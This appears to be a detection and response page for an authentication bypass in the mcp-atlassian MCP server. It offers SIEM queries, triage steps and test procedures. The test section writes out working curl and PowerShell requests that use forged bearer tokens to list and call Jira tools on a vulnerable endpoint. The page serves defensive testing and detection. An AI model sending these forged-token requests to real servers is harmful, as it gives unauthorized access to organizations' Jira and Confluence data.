CVE-2026-77244

mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244)

Initial Access Credential Access Last updated:

Detects exploitation and exposure of CVE-2026-77244, a critical (CVSS 10.0) authentication bypass in the mcp-atlassian MCP server. Versions < 0.22.0 use an AtlassianOpaqueTokenVerifier that accepts ANY non-empty bearer token as valid, granting unauthenticated attackers full access to the MCP server's Atlassian tools (Jira/Confluence read/write) over the HTTP transport (streamable-http / SSE). Detection focuses on anomalous or forged Authorization bearer tokens reaching the mcp-atlassian HTTP endpoint, successful tool invocations from unexpected sources, and identification of vulnerable server versions.

Vulnerability Intelligence

Public PoC

What is CVE-2026-77244 mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244)?

mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244) (CVE-2026-77244) maps to the Initial Access and Credential Access tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Credential Access
Microsoft Sentinel / Defender
kusto
let mcpPorts = dynamic(["8000", "9000"]);
let suspiciousPaths = dynamic(["/mcp", "/sse", "/messages"]);
// Detect requests to mcp-atlassian HTTP transport carrying an arbitrary bearer token
W3CIISLog
| where csUriStem has_any (suspiciousPaths) or sPort in (mcpPorts)
| extend AuthHeader = tostring(parse_json(tostring(customFields)).Authorization)
| where csMethod in ("POST", "GET")
| where isnotempty(AuthHeader) and AuthHeader startswith "Bearer "
| extend Token = trim_start("Bearer ", AuthHeader)
// Legitimate Atlassian OAuth tokens are JWTs (3 dot-separated segments) or long opaque tokens; short/random tokens indicate a bypass attempt
| where strlen(Token) < 40 or Token !contains "."
| project TimeGenerated, cIP, sIP, sPort, csMethod, csUriStem, Token, scStatus, csUserAgent
| summarize RequestCount = count(), Tokens = make_set(Token, 20), StatusCodes = make_set(scStatus, 10) by cIP, csUriStem, csUserAgent, bin(TimeGenerated, 1h)
| where RequestCount > 0

Identifies HTTP requests to the mcp-atlassian streamable-http/SSE transport carrying short or non-JWT bearer tokens, which the vulnerable AtlassianOpaqueTokenVerifier accepts unconditionally.

critical severity medium confidence

Data Sources

IIS Logs Reverse Proxy Logs Web Server Logs

Required Tables

W3CIISLog

False Positives

  • Internal health-check or monitoring probes that send placeholder Authorization headers to the MCP endpoint.
  • Legitimate MCP clients configured with short static service tokens in trusted single-tenant deployments.
  • Load balancer synthetic transactions that reuse a fixed test token.

Sigma rule & cross-platform mapping

The detection logic for mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244) (CVE-2026-77244) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Authentication bypass with arbitrary bearer token (curl)

    Expected signal: Web/proxy access log entry: POST /mcp with 'Authorization: Bearer not_a_real_token' from 127.0.0.1, HTTP 200.

  2. Test 2Empty vs non-empty token verification (bash)

    Expected signal: Two access log entries to /mcp: one with an empty bearer token (rejected) and one with 'Bearer x' (accepted, 200).

  3. Test 3Forged token tool invocation via SSE transport (powershell)

    Expected signal: Access log entry: POST /sse with 'Authorization: Bearer forged123', followed by an mcp-atlassian app-log entry recording a jira_search tool call.


Response Playbook

Triage

  1. Confirm the mcp-atlassian version running on the affected host: check the installed package with `pip show mcp-atlassian` or inspect the container image tag. Any version < 0.22.0 is vulnerable.
  2. Determine whether the HTTP transport (streamable-http or SSE) is exposed rather than stdio. Only the HTTP transport reaches AtlassianOpaqueTokenVerifier; stdio deployments are not affected by this CVE.
  3. Review the bearer tokens observed in the alerting requests. Compare them against known-good Atlassian OAuth token formats (long opaque or JWT). Short, random, or obviously placeholder tokens (e.g. 'test', 'x') indicate exploitation of the bypass.
  4. Correlate the source IP of the suspicious requests with expected MCP client hosts. Requests from unexpected external or internal IPs against the MCP endpoint are high-priority.

Containment

  1. Immediately upgrade mcp-atlassian to >= 0.22.0, which replaces the permissive verifier with proper token validation (PR #1448 / commit b0417334).
  2. If an immediate upgrade is not possible, restrict network access to the MCP HTTP transport port (e.g. 8000/9000) to only trusted MCP client IPs via firewall/security group, or place the endpoint behind an authenticating reverse proxy.
  3. Rotate any Atlassian API tokens/OAuth credentials configured in the MCP server, as an attacker with tool access may have exfiltrated or abused them.

Evidence Collection

  1. Capture web server / reverse proxy access logs for the MCP endpoint, including full Authorization headers, source IPs, timestamps and requested tool/method names.
  2. Preserve the mcp-atlassian application logs and any MCP session transcripts showing tool invocations (Jira/Confluence read/write calls) attributable to the suspicious tokens.
  3. Snapshot the running container/host and record the exact installed mcp-atlassian version and configuration (transport mode, auth settings).

Escalation Criteria

  • ! Escalate to incident response if requests with forged tokens returned successful (2xx) responses AND resulted in Jira/Confluence tool invocations, indicating actual data access.
  • ! Escalate if the source IP is external/untrusted or if evidence shows enumeration or bulk read of Confluence/Jira content following the authentication bypass.

Investigation Guide

Forensic Artifacts

  • > Web/proxy access logs showing Authorization: Bearer headers with anomalous tokens against the MCP endpoint.
  • > mcp-atlassian application logs recording accepted sessions and tool calls.
  • > Installed package metadata (pip/site-packages or container image tag) proving version < 0.22.0.

Tuning Guidance

Tune the token-length and JWT-shape heuristics to your environment's legitimate token format. If your trusted MCP clients use long opaque service tokens, raise the length threshold and rely on source-IP allowlisting instead. Whitelist known monitoring/health-check source IPs and their placeholder tokens to suppress benign noise. In stdio-only deployments this HTTP detection will produce no events and can be scoped out.


Hunting Queries

Baseline all clients and status codes hitting the MCP HTTP transport to identify unexpected sources and successful bypass attempts.

Hunting — KQL
kql
W3CIISLog | where csUriStem has_any ("/mcp", "/sse", "/messages") | extend AuthHeader = tostring(parse_json(tostring(customFields)).Authorization) | where AuthHeader startswith "Bearer " | summarize count() by cIP, csUriStem, scStatus, bin(TimeGenerated, 1d)
Hunting — SPL
spl
index=web (uri_path="/mcp" OR uri_path="/sse" OR uri_path="/messages") | stats count values(status) by src_ip uri_path

Atomic Red Team Tests

Test 1 Authentication bypass with arbitrary bearer token (curl)
linux

Sends an MCP initialize request to a vulnerable mcp-atlassian HTTP transport using a garbage bearer token that the verifier should reject but accepts.

Command

bash
curl -s -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer not_a_real_token' -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'

Cleanup

bash
unset AUTH_TEST 2>/dev/null; true

Expected Telemetry

Web/proxy access log entry: POST /mcp with 'Authorization: Bearer not_a_real_token' from 127.0.0.1, HTTP 200.

Expected Detection

KQL/SPL/EQL rules fire on the short non-JWT bearer token reaching the /mcp endpoint.

Test 2 Empty vs non-empty token verification (bash)
linux

Demonstrates the verifier logic flaw: empty token is rejected, any non-empty token is accepted. Sends both to compare responses.

Command

bash
curl -s -o /dev/null -w 'empty:%{http_code}\n' -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer ' -d '{}'; curl -s -o /dev/null -w 'nonempty:%{http_code}\n' -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer x' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

Cleanup

bash
true

Expected Telemetry

Two access log entries to /mcp: one with an empty bearer token (rejected) and one with 'Bearer x' (accepted, 200).

Expected Detection

Detection matches the 'Bearer x' request as a short non-JWT token; empty-token request may be filtered by the isnotempty check.

Test 3 Forged token tool invocation via SSE transport (powershell)
windows

Uses a forged bearer token against the SSE transport endpoint to invoke a Jira tool, simulating post-bypass data access.

Command

powershell
Invoke-WebRequest -Uri 'http://127.0.0.1:8000/sse' -Method POST -Headers @{ 'Authorization' = 'Bearer forged123'; 'Content-Type' = 'application/json' } -Body '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_search","arguments":{"jql":"project=TEST"}}}' -UseBasicParsing

Cleanup

powershell
Remove-Variable forged -ErrorAction SilentlyContinue

Expected Telemetry

Access log entry: POST /sse with 'Authorization: Bearer forged123', followed by an mcp-atlassian app-log entry recording a jira_search tool call.

Expected Detection

Detection fires on the short non-JWT bearer token to the /sse endpoint; correlated app logs show the subsequent tool invocation.

Related Detections